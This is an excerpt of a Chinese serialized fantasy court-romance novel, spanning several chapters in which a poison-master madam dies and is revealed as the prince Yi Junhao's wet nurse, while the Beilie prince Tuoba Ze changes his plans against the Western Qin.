易君浩轻笑一声,却并没有直接回答她的问题“你方才所说的你手中的毒,可是冰美人蛊毒么?本公子自从在南安出生之后,还没学会走路,便已对药毒之术颇感兴趣。如今,已经长这么大了,倒还真没怕过什么毒。要不,你把这毒施于本公子身上看看,本公子倒还真想见识见识,这传说中的冰美人蛊毒是否真如传闻中所说的那样,乃天下至毒之毒呢?” 老鸨一听这话,方才仔仔细细地上下一边打量着眼前虽打扮妖艳,但一看便是个气度不凡的翩翩公子,心里顿时惊道“此人竟知道冰美人蛊毒,说话间隐隐还带着点儿南安口音,看来他说自己是南安国人应该不假。而且,他还应该是个顶级毒蛊师之类的高手。方才她还奢望着,死之前能再见一见故国南安的人,这会儿一转眼便真的出现了这样的一个人。总算,老天待她还算不薄。如此,她也真是‘死而无憾’了。” 似是心里也已经知足了,老鸨有些疑惑,便 问他“难道,你也是拓跋泽的人,我怎么从来都没有见过你?” 易君浩闻之冷冷地哼了一声,怒道“拓跋泽?无耻小人,这世上什么钱不好赚,竟赚女人身子的钱,本公子怎会与这种人为伍?” 老鸨一时间惊愣住了,想了想,又言“既不是北烈拓跋泽的人?难道……你是西秦秦王的人?那战神秦王英勇神武、又受万民爱戴,倒也算是个正人君子。追随他,比追随拓跋泽强多了。” 易君浩笑着摇了摇头“你不要再瞎猜了,灵空大陆四国,本公子谁的人都不是。这世上的所有人和所有事,本公子亦一点儿也不感兴趣。若不是为了本公子在这个世上唯独所喜欢的女子,今日本公子也万万不会出现在这里?” “为了喜欢的女子?原来公子是个多情的人。真好,人这一辈子,能有个喜欢的人,是多么美好的事儿啊!”老鸨羡慕道。 “每个人的一生,心里不都会有那样的一个人么,如此平凡简单的事情,很难实现么?”易君浩不以为然道。 “哼,是啊。就是这么平凡简单的事,可对于一些人,就是那么遥不可及。”老鸨痴痴地说道。 易君浩看她行为举止怪怪的,似是三心二意、又似痴痴愣愣、还恍若失魂落魄。便欲安抚使其冷静下来,问道“你…究竟是为了什么,竟忍心离开故土南安,过起这背井离乡的凄苦生活的?” 老鸨已经记不起自己曾经跟多少人提起过她这段伤心的过去了,每每提起,心中都激动不已。 然临死之际,她竟突然不想再说了,心里竟也能平静似水,因为她知道自己这么多年来,不该只活在仇恨当中。 她应该想,她一直碎碎念着的儿子,她的浩儿,以后会成为南安的下一代国君。 思及此,她又能恨南安的什么呢? 恨她的亲姐姐?若没有她多年以来的悉心照料与教导,浩儿怎会有今天? 恨南安国君?若没有他的疼爱、认可和器重,浩儿又怎会成为南安国最尊贵的太子,皇位的继承人呢? 所以,她不该再恨、不必再说、更不能再怨…… 于是,老鸨笑了,这笑,她笑得很真诚,因为此刻她的心里已经真正释然了,方只开口道“过去的,都已经过去了。离开南安的这些年,犹如做了一场梦,一场很长很长的梦。这么多年过去了,我也累了,不想再颠沛流离,任人摆布,继续过着逃亡不定的日子了。就和此时我手里的这只冰美人一样,该是倦鸟归巢的时候了。”   第一百六十七章:原来是你 易君浩揽着老鸨,无奈道“早知今日,何必当初。你自己种的因,必得由你自己来结束和承担这样的果。” 老鸨似是已无力再多说些什么,只艰难地从身上掏出来一个明黄色的香囊放到易君浩的手里,嘴巴虚弱地张张合合着。 易君浩一见,便似本能地俯身下去将一只耳朵贴了过去到她的唇边,想要听清楚她的临终遗言。 就在这时,老鸨忽然瞥见了正俯身下来的易君浩,暗藏在他耳朵后面的那颗她一辈子熟悉的不能再熟悉的位置上的那颗红痣,顿时瞪大了眼睛惊诧极了。 “你想说什么?”易君浩俯身下去在其耳畔轻声地问。 然老鸨却突然间伸手,奋起自己此时残余的一切最大的力量,紧紧地抓住易君浩的一边肩膀,极虚弱又激动地道“浩儿,我的儿,我的浩儿……” 易君浩俯身听了许久,他确定自己已经尽力了,在听完这些话之后,缓缓起身来离开了她的耳旁。老鸨说话的声音太过虚弱,根本不足以他清清楚楚地确认自己所听。 忽然,他那双温暖迷人的桃花眼望向了正紧握在手里的那只明黄色香囊,想要试着再次确认眼前这个临死之人的遗言,开口说道“你可是说,这个香囊是要给...昊儿,对么?昊儿是谁,是个男孩儿么,他是你的儿子?还是你的其他什么人呢?他在南安?” 然老鸨却早已不再做声回应他,似是死不瞑目般地一直凝视着他,已停止了呼吸,唯独那张煞白的脸上却挂满了一脸满足的笑意,似是此生已再了无遗憾。 易君浩许久闻不见其声,方才转眼从香囊移向了她的眼睛,这才发现老鸨已然离世。 一时间,不知为何,他竟突然有些莫名的悲伤起来。只见他似是极为惋惜地轻叹口气,接着缓缓伸手帮她合上了双眼。信誓旦旦道“放心吧!这个香囊,本公子一定会想办法帮你找到主人的。” 然话音刚落,顿时间,他却又一次被眼前如同一场不可思议的华丽尸变一般,重新再现出来的一张脸惊呆了。 尽管冰美人蛊破除之后,对炼蛊人的这场惊变,他心里事先早已经有所铺垫,甚至说,他应该是有些期待的,这样恶毒的一个妇人,究竟年轻的时候是副什么模样?只见他瞬间瞪大了眼睛难以置信此时的亲眼所见“怎么会,怎么会是你……”半晌后,终于醒过神来口中吃惊道。 确实如易君浩所言,眼前已经确实断了气的老鸨,果真褪去了一身臃肿之态和那张饱经风霜,被岁月无情雕琢过的容颜。 她的脸和曼妙身姿真的回到了一个人,生前最美好的青春年华,那十八岁的水灵灵模样儿。 可这张脸,明明正是易君浩一辈子也不会忘 记,是他那世间最温柔善良的奶娘的脸啊,他此时心中可谓是又惊又喜。 原来,万娇阁里的老鸨,来自南安国的顶级毒蛊师,正是他已许久未见了的奶娘。 顿时间,他似是想明白了这些年所发生在她身上的这无情的一切。 当年,正是因为他父王和母后的原因,他的奶娘才会满含着一腔怨恨背井离乡,离开了南安故国。 仇恨将她日日夜夜蹂躏着,一直到她遇上了心术不正,阴险狡诈的拓跋泽,并受其蛊惑和利用,一步错步步错,终变成今天这个样子,直至走投无路,客死他乡。 易君浩默默地凝视着她的脸,她的脸色饱满红润,看起来就像是睡着了一般。 易君浩一只手紧紧握起手中的香囊,另一手则将老鸨拥紧在怀里,让其靠在距离自己心脏最近的那边,坚实而又温暖的胸膛间。 他缓缓闭上眼睛,忽见两行迟到的眼泪顺着眼角静静地流了下来。 他就这样静静地拥着她,沐浴在难得的一片暖阳之中,金色的阳光透过树荫里的间隙洒在他们的身上,似是又将他们带回到了他小的时候,奶娘温柔的抱着她,在院子里晒太阳,逗他玩儿,嘴里哼唱着那支奶娘只为他一人所编唱的歌谣。 易君浩闭着眼睛不禁流着泪轻声哼唱了起来“小娃娃,圆又圆,多食饭,快长大,娶个女,进家门。天地间,生万物,万物生,长百草。我郎情,你妾意,我救人,你制药,做一对,人间活菩萨……” 半晌后,他声音哽咽着嘴里连连道歉“奶娘,对不起,对不起,这一切都是浩儿的错,可受苦的却是你……” 他的心里此时五味杂陈,方才她虽就他所问的关于她过去的一切守口如瓶,只字都不愿再提,可他却没能再多问一句,哪怕就再多一句,她可能便不会如此绝望地离开这个世界。 此时此刻,易君浩心想:在她生命的最后一刻,她可知,陪在她身旁,送她离世的人,是她的浩儿,我呢? …… 不远处的柳树林里,刀光剑影,经过一场激烈的厮杀之后,所有北烈流寇已都被程良的人马顺利地通通拿下。 只剩那侍卫头领与程良俩人,依旧双剑紧握于手,连连相击着。俩人剑法都很伶俐,敏捷,都全力相博。双剑相击,其声嗡嗡作响,剑光霍霍,此时已不知过了多少个回合。 突然,那头领似是还尚未反应过来,只听得铮的一声响,程良便已经以自己 第一百六十八章:山荷叶 矮侍卫惋惜道“那这样一来,那个衣上云不就被咱们殿下给诓了么?当初,她可是为了换那小娘子,才答应跟咱们回北烈的啊。看她那脾性,一个普通的弱女子哪里胆敢只身入虎穴,做出这些不怕死惊人的事来。她可不像是个软柿子哇。这日后,要是被她发现了,那还了得,指不定还会发生什么样的事来呢?” 说完,俩个人便一起忧心地摇了摇头,又深叹口气。 而一直躲在一旁认真听着的衣上云,随即立刻皱起那两道本极为好看的眉头,握起双拳,牙齿咬的咯咯作响。 “什么,难道他没有放了玉娘,他竟是在骗我?”衣上云顿时心里惊讶极了,也愤怒极了的喃喃道。 但她依旧故作着平静,强忍着心头的三丈怒火,整理好情绪,方才踱步缓缓走了出去。 “衣姑娘!”两名侍卫看见衣上云走过来,连忙收声恭敬地朝其打招呼道。 衣上云抿嘴对着俩人微笑着点点头,似是方才的一切都没发生过一般,只直奔向拓跋泽的人马而去。 “这会儿,身子可好些了?”拓跋泽一见衣上云走近,便开口关切道。 衣上云依旧佯装着面色平静地道“已经好多了。” “既然如此,那我们不妨就快点儿上马启程赶路吧,希望天黑之前能翻过这座山,否则到了夜里怕是又冷又不安全了。”拓跋泽催促着道。 然衣上云听了这话,却飞快地出声阻止道“慢,我...我饿了。从昨晚被你们关起来到现在,本姑娘还滴水未进呢?” 拓跋泽吃惊的问“昨夜,没有人给你们送饭么?” “本姑娘根本连个鬼都没见到,何来饭吃?不信,你现在就破开本姑娘的胃来查验查验,看本姑娘所说究竟是真的还是造谣?”衣上云愤怒道。 拓跋泽太意外,心想难道是他的近身侍卫忘记了交待看守密室的人么?这个祖宗得来不易,可千万不能有半点闪失啊。思及此,他轻叹了口气,连忙下令道“原地休息。” 刚一得令,便有侍卫赶忙送上来干粮和水壶,递到衣上云的面前。 衣上云伸手一接过,便走到一旁不远处,找了块儿岩石,方才缓缓坐了下来,一边补充着自身体力,一边似是在沉思着些什么。 拓跋泽虽远远的站着,然目光却一刻都不曾离开衣上云的身上。半晌后,他缓缓踱步过来挨着她身旁坐了下来。 衣上云此时只自顾自入神的沉思着些什么,时不时用手撕下来一片片干粮,又似机械似的进入下一道工序,缓缓塞入自己的口中,再反反复复地咀嚼起来。时而,也会拿起水壶将干粮冲下肚去。 所以,她根本就没有发现易君浩过来她身边坐。 忽然,拓跋泽出声惊 扰了她的思绪,问她“你……在想什么呢?” 闻声,衣上云方才急急回过神来,皱紧眉头转过脸去向拓跋泽问“拓跋泽,你……我……没想什么。” 然话已到嘴边,想了想却终究还是吞了下去。她不明白,为什么她已经答应了他提出的所有要求,甚至她都已下定决心只身一人跟随他去到对自己来说,另一个陌生极了的国度。 可是,他却还是不愿意放过玉娘。为什么他会如此地言而无信? 拓跋泽闻此,忽望着眼前温暖的阳光,转念道“今天天气不错,本皇子心情也好。这会儿,突然想在这里眯一会儿了,你补充歇息够了,记得叫醒本皇子哈!” 说完,他便双手向后环抱住自己的后脑勺,在那大石头上躺了下来。 然衣上云却尚还深陷在自己那片失望透了的思绪之中。 不知过了多久,忽见拓跋泽似是梦魇般地迅速坐起身来,却用一只手紧紧悟着后脖颈处。 衣上云亦被惊的手中方才吃下了没到一角的干粮,还有一小片正欲入口的,通通都掉在了地上的一层厚厚的泥土上,竟然还有几堆鸟屎。 此刻,她本就心间窝着一大团莫名其妙地穿越过来所遇到的一大堆破事儿,尤其是碰到他这么一个言而无信诓骗自己的无耻之徒。 可正在她想办法怎样对付他时,却又饿着肚子发生了眼前这一幕来。 她低头一见,此情此景,瞬间让她恶心又厌恶到了极点。正欲破口大骂,却忽然发现他顿然坐了起来并非是梦魇,只见他另一只胳膊用力一甩,竟有一条毒蛇嘶嘶地吐着红红的舌头,迅速朝俩人旁边的深草丛里逃窜了去。 这时,衣上云方才迅速地回神看了一眼拓跋泽所悟的部位,道“你被毒蛇咬了?” 拓跋泽疼痛难忍,表情有些狰狞,还没来得及言语应她,衣上云便稍作迟疑,伸手一把将他转过了身去,让其背对着自己,随即附上自己两只纤细嫩白的玉手在他的后颈上,接着扯下遮在脸上的纯白面巾,毫不犹豫地一口一口吸允起那迅速红肿起来的伤处里的毒血来。 而当她一触到拓跋泽的皮肤,一种与他以往所有与女子的亲密接触感觉都不同的酥麻感和舒服感齐涌而上,使他整个人都瞬间僵硬了。 他是一人之下万人之上尊贵无比的一国皇子,这天下所有的女人,只要他愿意,只要他想,便唾手可得。 而眼前这种感觉,却是他从来都没有过的。 他忽然发现,似乎,他的心里是第一次真心的喜欢上了一个女子,这个女子与他之前所拥有的所有女人都要不 第一百六十九章:天无绝人之路 “真倒霉,我这是上辈子,上上辈子,上上上辈子做了什么孽了,怎么会跑到这里来,发生这种事,遇到这群人?他,明明是个十恶不赦的大坏人,我却还要冒着生命危险,帮他吸出蛇毒,我真是……唉”衣上云一边走,一边随手带了一片草叶,将其一段段的扯断。可却似仍不解气,她又驻足停了下来狠狠跺起脚来,似是抓狂懊恼极了。 此时,轩辕翰带领着数名侍卫一路策马急驰着不停赶路,终于到达了北山脚下。 眼看着饶过了这座山,便可以直上西秦直达北烈的西北古道,或许,拓跋泽正带着衣上云就在他们前方的某个位置。 然此时,望着眼前这个他一生都抹不去对其恐惧的地方,他不禁勒马缓缓停了下来,眼睛冷冷的扫了一圈十几年后这里周围的变化之后,随即翻身下了马来,踱步走到山脚下路边儿上的一块岩石上坐了下来,深深吐了口气。 就在衣上云前脚刚刚离开之后,侍卫群里方才那名满脸脸色煞白,紧咬着嘴唇似是仍在艰难地强撑的男子一走上前来,便在拓跋泽的面前“扑通”一声,重重地跪了下来。原来此人便是方才因使诈,通过对程良攻其不备方才得以脱身的拓跋泽的近身侍卫。 只见他俯首蹙眉小心翼翼,表情异常沉重地对拓跋泽禀道“殿下,属下无能,请殿下责罚。我们留在万娇阁的人……被杀的被杀,被俘虏的被俘虏。最后,只有属下一人逃了出来。” 一时间,身后围着的仅剩的几名侍卫听到此噩耗,纷纷面面相觑着,惊呆了。 拓跋泽亦是心里顿时一惊,方才还挂在嘴角的笑容立刻烟消云散。随即抬眼一怔看向那尚且还来不及包扎,一直在用一只手捂着正在滴血的伤口,怯怯地跪在他面前瑟瑟发抖的自己的近身侍卫,猛站起身来,怒道“什么?” 稍作迟疑后,他又开口着急地问“那老鸨和冰美人呢?” 近身侍卫咬了咬嘴唇,心一横,屏住呼吸道“西秦秦王逼的实在太紧,手段又太过高明。当时不知为何,兰香那个贱人竟也跟秦王的人混在了一起,还胆敢同那些人一起回到万娇阁来,不知道要做什么?” “兰香,她跟秦王的人在一起?”拓跋泽亦疑惑道。 听到拓跋泽说话的口气有所好转,侍卫这才敢微微抬起头来,用力将其点了点。 可一想到在追击老鸨的途中,万娇阁里的手下便好不容易艰难地传来消息说毒杀兰香的计划失败,暗室被发现,玉娘亦已被成功解救,万娇阁里的北烈分子已被彻底清查等一连串的坏消息后,他怕拓跋泽随后将对他一一质问,随即灵光一闪,想到了一个替自己开脱罪责的好理由。 便自夸自大吹 嘘狠狠说道“不管那贱人想做什么,这次属下都不会再失手放过她。可就在属下正准备在万娇阁里亲手了结这个贱人,将其碎尸万段时,却意外地发现老鸨竟也在此时将冰美人蛊炼成了。所以,属下就让老鸨立刻给那西秦秦王施毒。可不知兰香那个贱人对那老鸨说了些什么,那老鸨就像魔怔了似的,再也听不进去属下半句话。属下怕她对冰美人不利,心里一急,便想着先抢夺下那蛊,将其保护好,再慢慢与她谈判。谁料,她却死都不肯放手。于是,我们便激烈地争执起来,并一起闯出了秦王布在万娇阁外面的防守。可也正因如此,才使得万娇阁里群龙无首,被那秦王乘机翻了个底朝天。” “那最后究竟如何了,冰美人到底是否完好无损?”拓跋泽急道。 即便此时,侍卫仍然不忘阿谀奉承,甚是侥幸地说“殿下所料果然不假,那老鸨隐藏的好深。不知从哪儿学来的轻功,甚是厉害。属下一路狂追,终于在离这儿不远的柳树林里终于追上了她。若不是她这些年体态变形太过严重,属下怕是定追不上她的。顾忌,她正是为了掩饰自己的功力,方才故意养成今日这副臃肿体态的。” 拓跋泽听了,气的双眼直冒火,一个大踏步过来,以迅雷不及掩耳之势抽出腰间佩剑直指向跪地侍卫的胸口,对其怒斥道:“废物,你没听到本皇子在问你,冰美人到底是否完好无损么?你答非所问,牛头不对马嘴地在说些什么?愚蠢至极的家伙,这么多年了,竟还未看得出那老鸨有武功功底,本皇子怎么会养你这么蠢笨无用的废物。若是连这个都要你后知后觉地来提醒告知,本皇子还不如做一头任人宰割的猪算了。枉我这么多年对你……想必你是真的活得不耐烦了!”拓跋泽气的口不择言,都不愿再与他废话多说下去了。 侍卫一见,面前的这剑尖离胸不过数寸,只须轻轻一送,便会十分稳准地刺入他的心脏,脸上尽露出一片愕然惊慌之色,拓跋泽从来都没有这样拿剑指过他,这次一定是对他愤怒失望至极了才会如此,方才回过神来连连致歉回答其所问道“殿下饶命,殿下饶命,秦王的那个副将今日带来了个陌生面孔。属下听兰香那贱人对老鸨说是她的南安同乡,是特地来万娇阁见她一面的,可不知为何,那老鸨一直想见南安的人,此时却装疯卖傻的并没有见他。那老鸨方才在柳树林里,乘着秦王副将与属下纠缠之际逃向了瀑布边上,那陌生面孔便亦追了上去。可等属下从秦王副将手里逃脱出来,去瀑布边找的时候,却见……见……见……” “到底见什么,还不快说?”拓跋泽一边朝其怒喝着,一边将手中的剑又瞬间向前逼近 了 第一百七十章:卑微的李福贵 拓跋泽狠狠地瞪了那侍卫一眼,心里忽然做了一个很重要的决定,南安太子竟然也来西秦了,还先和秦王统一了战线,这可真是天无绝人之路。 一念至此,拓跋泽随即下令手下仅剩的数名残兵败将,道“本皇子突然做了一个决定,那便是…我们暂时不回北烈了。因为,本皇子忽然发现接下来我们有更重要的事情要在西秦做。” “什么?”日盼夜盼,好不容易盼到了能回国与家人团聚的这一天。可这一声令下,犹如晴天霹雳一般,重重地劈在每个人的脑门之上,众人一时间又面面相觑着愁容满面起来。 山脚下,轩辕翰坐在一块儿岩石上陷入一片深深的沉思当中。 身后的这座山,对于轩辕翰并不陌生。 或许,更应说他会一生铭记。 当年,他还很小的时候,随母妃外出前往城南行宫,正是在这里遇到了那帮凶神恶煞的黑衣蒙面人。 也正是因此,亦让他遇到了那位此生永远都无法回报和忘记的即将临盆的妇人。 为了救他,那妇人就是从他此刻眼前的这北山东面的断崖边上坠入崖底,一尸两命。 而他,却甚至都还未来得及,以后更是无从得知她的姓名。 到如今,他只清清楚楚的记着那妇人从开始到结束,对他仅说过的那短短两句话: 第一句是:“你真的是轩辕翰?” 第二句是:“以后,一定要守护好西秦。” 可即便是今日,当他回忆起当年所发生在这里的这一切时,他仍然会咬紧牙根、瑟瑟发抖着、战战兢兢地恐惧极了。 这是他一辈子都无法弥补的遗憾,亦是他心底最痛的无助和永远都无法抚平的恐惧。 半山腰上,拓跋泽亦独自坐在一块儿山涧岩石上入神地心里独自重新做着盘算。 本以为老鸨的死,让自己这些年处心积虑的付出和经营都付诸于流水,收获甚微。 好不容易,历经艰辛万阻终于寻回了这珍贵的冰美人,又以自己说不清道不明的女子之身,养成了这世间甚是难得的美人血。 想着这一次定要万无一失地直取了那战神秦王的性命,继而彻底踏平占领西秦大地。 可却偏又冒出来一个神秘的奇女子——衣上云。她不但不知鬼不觉的不知以何方法解了这天下至毒且无解的美人血不说,如今就连这极为不易而炼成的冰美人蛊亦被那该死的老鸨亲手给毁了。 这一切的一切,便等于宣告了他:这么多年,精心潜伏在西秦国里,所设计和准备的一切都化为了泡沫。 此时,按照他以往的习惯,他本该恨得咬牙切齿,大发雷霆。又或者以此成为他大开杀戒,狠狠地发泄一通的最佳理由。 可是,当他 意外得知了那南安太子竟与西秦秦王勾结了起来,便立刻命人准备笔墨,俯身在岩石上立马书信一封。 为表其诚意,还准备派人亲自即刻前往南安国一趟,带着自己精心备下的一份“厚礼”,将其代为自己亲手送到那南安国君的手里。 就在他很快书写好密信,备好“厚礼”在内,起身来抬眼欲挑选一个可靠的信差之时,那侍卫连忙起身来恭敬地朝其拱手诚恳乞求,道“殿下可是需要人送信?如今,西秦秦王得知西秦国内潜伏了众多异国细作,便下令命人全城拦截所有信鸽所传递进出的消息。城里到处也都设了关卡,都由秦王轩辕翰自己的亲信把守着,一般人很难出城去。” 稍作停顿,那侍卫信誓旦旦道“恳请殿下再给属下一个将功赎罪的机会,属下一定肝脑涂地不辱使命,誓将此信帮殿下送回国去,亲自交到国君手里,以使国君早日派出援兵,向西秦讨伐。” “住嘴,你以为这么多年的苦心策划,得到如今这样的结果,本皇子还有脸书信回国向父王求救么?你以为本皇子还会继续相信你么?今天这一切,你可知究竟是谁造成的。毒害兰香……哼,亏你想的出来。就连一个手无缚鸡之力的弱女子也拿不下,你还能做什么?这些年,也只有你调教出来的那些蠢笨至极的手下,才会一直只知道滥用我北烈的毒草,到处奸淫掳掠,无恶不作,你当真以为本皇子对这一切全然不知么?本皇子只是念你们跟着本皇子背井离乡又出生入死,睁一只眼闭一只眼罢了。你可知,此举明显是在四处招摇和暴露我们存在于西秦的真正身份么?还是,你是怕那西秦秦王不知道我北烈细作的潜入,而故意对其所做的暗示呢?本皇子在离开万娇阁之前,怕那老鸨倒戈,毁了那些她这些年来,帮本皇子特意所制的毒。于是,早已经将其全部毒药秘密转移了。你说…你是不是又在用我北烈的毒?”拓跋泽愤怒地看着他的眼睛,朝其怒斥道。 “属下不敢,属下知错了。”侍卫一听,好不容易才敢刚起身来,却又一次被吓得重重跪了回去。一说完,便默默着吞咽下一口口水,再也不敢吱声。 拓跋泽被他气的已不知此时到底该拿他如何是好,只重重地吐了口浊气。随即眼睛扫了一眼其身后的众兵将,看到一个个都目光呆滞,痴痴愣愣着,没有一个精明伶俐之人,无奈地摇了摇头。 最后,他指着那名方才他中蛇毒之时,畏畏缩缩从身上悄悄取出自己备用的解药欲献上的那名矮个儿侍卫,正色道“你…出来。” 那矮侍卫见了即刻转头怯怯地看看周围,一看到大家都将目光投在自己身 第一百七十一章:人有心,而天无意 许久后,待呼声渐渐褪去,拓跋泽方才缓缓踱步到那矮个儿的侍卫面前,拍着他的肩膀问“你叫什么名字?” 侍卫犹犹豫豫着,而一看到拓跋泽坚定不移的眼神,只道“属下贱名,怕污了殿下尊耳……属下...李福贵。” 拓跋泽于是含笑将密信交到他手里,郑重其事又意味深长地说“好,李…福贵,你一定前途无量,本皇子…等着你不辱使命,平安归来。” “谢殿下。”侍卫说完,便欲转头离去办差。 然拓跋泽却突然出声叫住了他“等一等。” 侍卫闻声急急回头,低声怯怯地问道“不知殿下还有何吩咐?” 拓跋泽随即踱步过去到自己的包袱边儿上,取出了自己新制的一套崭新的锦衣棉袍,再回到福贵的身边,注视着并抚了抚他衣裳上的大大小小的破洞,福贵被这突如其来的盯视看的浑身不自在起来。 拓跋泽开口关切道“把这套新衣换上,里面还有些碎银票,路上可以当盘缠用。” “这…这可万万使不得啊,属下长这么大了,可从没穿过这样名贵的衣裳。不不不,别说穿,就连摸都未曾摸过的。”侍卫一边慌乱地伸手推辞着,一边极为震惊地道。 “无妨,拿去吧。钱财乃身外之物,你今日,为我北烈国所做的一切,本皇子感激不尽。这只不过是区区一套衣裳和些散钱而已,又有何不可?”拓跋泽似是很真诚地感激说道。 然侍卫指了指自己的身体,仍坚持拒绝着“殿下,您瞧属下这个头儿,也尚还不足五尺,您这七尺之躯的衣装,属下实在是无福消受,您就拿回去吧。” 拓跋泽闻之,心中顿时一惊,随即又连忙取出衣裳里裹着的一叠银票,朝其再次推过去道“好吧,是本皇子疏忽大意了。既然如此,这衣裳本皇子就收回了,可这些银票你一定得带着,留着路上自己另外重新置办一套合适的换上。一个人出门在外,也总要留有些钱财傍身的。” 福贵闻此,顾忌到自己每月都是按时将其微薄的所得,尽数寄给北烈家中的母亲和妹妹,确实身无分文。方才小心翼翼地将拓跋泽手里最上面的那张,崭新的一百两的银票颤颤巍巍地抽了出来目不转睛地看着,他怕是一辈子都没见过这么多的钱。 拓跋泽一见,忙将手中剩余的所有同样面额的数张银票通通都塞入到其手中,不耐烦地道“莫再与本皇子推辞了,到了南安,你要见的可是那至高无上的南安国君。想必,定少不了要打点那些大神和小鬼之类的,少不了用银票的地方,只怕这些还远远不够呢。如果你实在觉得心里过意不去,有什么不妥的话,要不……你就拿这瓶药来跟本皇子换吧,就当本皇子买了,这 样总行了吧?!” 拓跋泽说着,便从福贵身上摸出来了那个装着解毒药的白瓷瓶来,拿在手中饶有兴致地把玩起来。 福贵看着药瓶,顿时惊慌不舍,心疼不已,可又胆小懦弱地不敢抢回,嘴巴更是不会说话,那不是别人,而是北烈皇族里最心狠手辣的大皇子殿下啊! 于是,他只能默默地隐忍着,眼睁睁看着那个自己视若珍宝的瓶子就这样落入拓跋泽之手。 其实,拓跋泽早就看出了那侍卫对这只看起来似是极为普通的一只白色小瓷瓶甚是看重,怕是定对他有着什么特殊意义。于是,他便设计了方才所发生的一切。 一边,确实是给他盘缠,以便能顺利地完成任务。另一边,也是想留个能牵制住他的什么东西,怕他倒戈。拓跋泽,可一向都是个从来都不做赔了夫人又折兵的买卖的主儿。 “好吧,那属下就当此瓶是暂时交于殿下之处抵押保管的。待属下不辱使命,顺利完成任务回来的时候,还请殿下能将此瓶归还属下。因为这是属下的老母亲亲手为属下配置的解毒药,是属下用来赌物思人的唯一念想。”半晌后,福贵回过神来只得无奈地道。 果然不出本皇子所料,这白色小瓷瓶对他确实意义非凡,拓跋泽笑道“当然,本皇子一定会把它像保护本皇子的性命一般,替你好好收着,视若珍宝的。” 福贵依依不舍地凝视着拓跋泽手中的白色瓷瓶,最后深吸口气,似是气呼呼地转头急急过去牵了马,便再头也不回地沿着下山的路离去。 其实,他知道拓跋泽要这个瓶子想干什么。他只是气他根本没必要这么做。 福贵一家世世代代都生活在北烈国,而且父亲死的时候他还小,并不能得知父亲究竟是被哪国将士所杀,他还什么都不懂。 因此,除了北烈,他认为其他国家都是他的杀父仇人。为了自己能够活着,他可能不会冒着生命危险去杀他们,可也绝对不会背叛自己的国家。 小的时候,他恨北烈,可能是因为他不明白,为什么他们要强行抓他父亲去参军。 可长大了,看到自己的同胞国吃不饱穿不暖,饱受战争的硝烟所带来的苦痛,于是,他渐渐意识到了保家卫国的重要性。 第一百七十二章:她,或许是“贵”人娘娘 “喔,殿下有所不知,那些南安毒蛊师所制之毒,果然极其阴毒,这次若不是殿下慎重,等那易三少回来说服其加入方才行动,我们恐怕还真的对付不了那个老鸨,更别说摧毁整个万娇阁了。”程良对其主子细心的深思熟虑又一次膜拜道。 然听了程良的话,轩辕翰却依然如常地沉默不语着,一副冰冷之态。 因为并不是自己亲眼所见亲耳所闻,只是听得众手下们一个个将那冰美人描述的天花乱坠,激动不已。程良反倒因此似是真的有些遗憾,他对轩辕翰说道“听他们讲,易三少说那拓跋泽不惜一切代价从灵空大陆之外遥远的北极冰川地带弄回了一只神奇的全身透明,所视如无物的冰美人蝶,其乃是天下至寒之物。体长一尺有余,伴随着冬天的飘雪破蛹而出,以冰花为食,拥有像水晶一样晶莹剔透的身体和薄薄的翅膀,飞舞时挥动双翅便会撒落点点冰花,冰花落地便能散发出七彩的光辉。但经过拓跋泽在万娇阁里那个心术不正的毒蛊师老鸨的炼制,还以天下至毒的美人血将其滋养,那冰美人蝶竟变成了一只看起来只是普通蝴蝶一般大小,样子却静如娇艳美人,鲜红胜血惹人怜爱;动若情人泣血般,凄美壮丽令人断肠;重生后则似美人在血与火中沐浴燃烧般,红火交织成的新生命——天下至毒至美亦至邪的冰美人蛊。” 这时,程良见轩辕翰仍然不以为奇,沉默不语着,便问“殿下可知中此蛊毒者会如何?” “天下之大,无奇不有”轩辕翰自小博览群书,自是对世间任何奇闻怪事早已见怪不怪,都可做到心静如止水,更何况,是这种妖人邪术。 程良抿了抿嘴,似乎早已习惯了主子的这种处事不惊的态度,便只自顾自地继续往下有如自说自话了去,然却瞬间仍似兴奋丝毫不减“那易三少说,心中没有挚爱的人,若是身中此毒,便会当场毙命。而若身中此毒者心中有喜欢的人,只要一动情,便会激发其体内冰美人蛊毒之天下至寒寒毒,除非以天底下最挚爱的心上人炙热的身体方才能得以压制,否则便会当场畏寒致死。而最可恨的是,此方法也只能缓解其毒发,最终却亦是难逃一死,这种毒根本就是无解的。但死的时候,却不会流一滴血,还会在中毒者刚心脉俱断之后,恢复到十八岁的模样。这么阴险的毒,亦不知道他们制出来究竟是想对付谁用的?还好这毒蛊被破除了,那老鸨也算是自食恶果,死了。可奇怪的是,那老鸨死了,这易三少却哭的稀里哗啦的,也不知道怎么回事儿?” 谁知程良费尽口舌地说了这么多,轩辕翰最终开口关心的却是和易三少有关的事“那毒蛊师死了,易三少他哭了?” 程良看着轩辕翰亦是有些惊讶的表情,微微点了点头,道“虽说他极力掩饰,但属下还是一眼便看出来他哭过。那神情和往日里那一副桀骜不驯的精神头,完全判若两人。而且,他还亲自埋葬了那老鸨,就在那片柳树林里。只是不知,他究竟在掩饰些什么?” 轩辕翰闻之暗自垂首心里琢磨着。 “殿下……方才属下过来的时候,看到你黯然神伤。您是不是又在想小时候曾遇到的那位妇人了?其实有些事过去了就过去了,每个人生下来本就有她自己已经被注定好了的命运,殿下又何必一直念念不忘,耿耿于怀呢?”程良自打一到城南北山脚下,看到轩辕翰失神落魄的坐在这里的样子,便已知道,这世上只有那件事方才能让他的主子如此神态。于是,犹犹豫豫了半晌,最终还是开口劝导轩辕翰道。 闻此,轩辕翰却忽然皱紧眉头,从来都没有对程良过的言语激动地口气说道“可那妇人肚子里还有个即将出世的婴孩啊!‘一尸两命’,本王究竟何德何能,又有什么权利值得牺牲他们母子俩人的性命来保全本王一人。‘我不杀伯人,伯人却因我而死’,这跟本王亲手杀了他们母子又有何不同?没想到,本王的这双手,竟也沾上了如此无辜之人的性命,这一切,本王怎么可能将她忘记,当她不存在,没发生过呢?!” 轩辕翰激动地说着,随即缓缓伸出两只骨节分明,大而有力的双手,咬牙切齿地注视着它。 这团阴影就像个永远也解不开的魔咒一般,从小一直困惑着他家主子,程良每每看到主子如此孤独无助的模样,都心疼不已。 这些年来,在程良心里一直那样高大、尊贵、且几乎无所不能的挺拔身躯,可唯独在多年以前意外发生的这件事上确是如此无奈。 半晌后,程良道“可事实已经如此了呀,我们也改变不了什么。这些年,殿下不也正为了那妇人的临终遗言一直在努力么,殿下不也正在以自己的性命在守护着西秦,守护更多的生命么?相信那妇人在天有灵,也一定会看到殿下的努力的。” 